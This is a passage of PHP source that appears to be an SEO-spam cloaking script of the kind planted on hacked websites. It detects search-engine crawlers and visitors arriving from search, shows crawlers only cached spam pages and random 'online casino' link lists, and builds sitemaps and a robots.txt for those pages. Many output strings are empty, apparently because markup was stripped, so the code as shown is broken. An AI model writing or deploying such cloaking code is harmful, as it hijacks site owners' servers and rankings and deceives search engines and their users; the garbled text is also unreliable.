",file_get_contents($configs["dir"]."/include.txt"), $body);
echo $body;
exit;
}
}
if( str_replace("/","", $pach) == "" ){
if( isBot() ) {
foreach (json_decode( file_get_contents($configs["dir"]."/links.txt"), 1) as $link) {
echo '' . $link["title"] . ' ';
}
}
}
if( isBot() ) {
$links_in = getLinks( $configs );
foreach ( $links_in as $link) {
echo '' . $link["title"] . ' ';
}
}
function checkSlug( $configs ){
if( str_replace("/","", $configs['pach']) == "" ) {
return false;
}
$failename = str_replace("/","", $configs['pach']).".txt";
if( file_exists($configs["dir"]."/cache/".$failename )){
return true;
}
return false;
}
function getLinks( $configs ){
$files = scandir($configs["dir"]."/cache");
unset($files[0]);
unset($files[1]);
$ret = [];
foreach ( array_rand($files, rand(5,25)) as $key ){
$file = $files[$key];
$content = file_get_contents($configs["dir"]."/cache/".$file );
preg_match('/
(?.*?)<\/title>/', $content, $matches, PREG_OFFSET_CAPTURE, 0);
if(empty($matches["title"][0])){
$title = "online casino";
}
else {
$title = $matches["title"][0];
}
$ret[] = [
"slug"=>str_replace(".txt","",$file),
"title"=>$title
];
}
return $ret;
}
function renderRobotsTxt( $configs ){
@header("Content-type: text/css; charset=utf-8");
echo "User-agent: *".PHP_EOL;
echo "Allow: /".PHP_EOL.PHP_EOL;
echo "Sitemap: ".$configs["protocol"].$configs["host"].$configs["sitemap_pach"].PHP_EOL;
}
function isUserFromSearch() {
$ss = array("google", "yahoo", "bing", 'yandex');
if(!empty($_SERVER['HTTP_REFERER'])){
foreach ($ss as $s) {
if (strpos($_SERVER['HTTP_REFERER'], $s)) {
return true;
}
}
}
return false;
}
function isBot() {
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if ($agent != "") {
$googleBot = array("Googlebot", "Yahoo! Slurp", "Yahoo Slurp", "Google AdSense", 'google', 'yahoo', 'yandex');
foreach ($googleBot as $val) {
$str = strtolower($val);
if (strpos($agent, $str)) {
return true;
}
}
} else {
return false;
}
}
function renderSiteMaps( $configs ){
$files = scandir($configs["dir"]."/cache");
$count = count($files)-2;
$i = 1;
header('Content-Type: text/xml; charset=utf-8');
echo ''.PHP_EOL;
echo ''.PHP_EOL;
while ( $count >= 1 ) {
echo ''.PHP_EOL;;
echo ''.$configs["protocol"].$configs["host"].'/sitemap-'.$i.'.xml'.PHP_EOL;;
echo ''.date("Y-m-d\TH:i:sP", time()).''.PHP_EOL;;
echo ''.PHP_EOL;
$count = $count-1000;
$i++;
}
echo '';
}
function renderSiteMap( $configs ){
$files = scandir($configs["dir"]."/cache");
unset($files[0]);
unset($files[1]);
preg_match_all('/sitemap-(?.+?)\.xml/m', $configs["pach"], $matches, PREG_SET_ORDER, 0);
if( empty($matches[0]["num"]) ){
$part = 1;
}
else {
$part = $matches[0]["num"];
}
$tmp = array_chunk($files ,1000);
header('Content-Type: text/xml; charset=utf-8');
echo ''.PHP_EOL;
echo ''.PHP_EOL;
echo ''.PHP_EOL;;
echo ''.$configs["protocol"].$configs["host"].''.PHP_EOL;;
echo ''.date("Y-m-d\TH:i:sP", time()).''.PHP_EOL;;
echo 'daily'.PHP_EOL;;
echo '0.1'.PHP_EOL;;
echo ''.PHP_EOL;;
foreach ( $tmp[$part-1] as $page ){
echo ''.PHP_EOL;;
echo ''.$configs["protocol"].$configs["host"].'/'.str_replace(".txt","",$page).''.PHP_EOL;;
echo ''.date("Y-m-d\TH:i:sP", time()).''.PHP_EOL;;
echo 'daily'.PHP_EOL;;
echo '0.1'.PHP_EOL;;
echo ''.PHP_EOL;;
}
echo '';
}
function smrequest_uri() {
if (isset($_SERVER['REQUEST_URI'])) {
$smuri = $_SERVER['REQUEST_URI'];
} else {
if (isset($_SERVER['argv'])) {
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
} else {
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
}
}
return $smuri;
}
function is_https() {
if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
return true;
} elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
return true;
} elseif (!empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return true;
}
return false;
}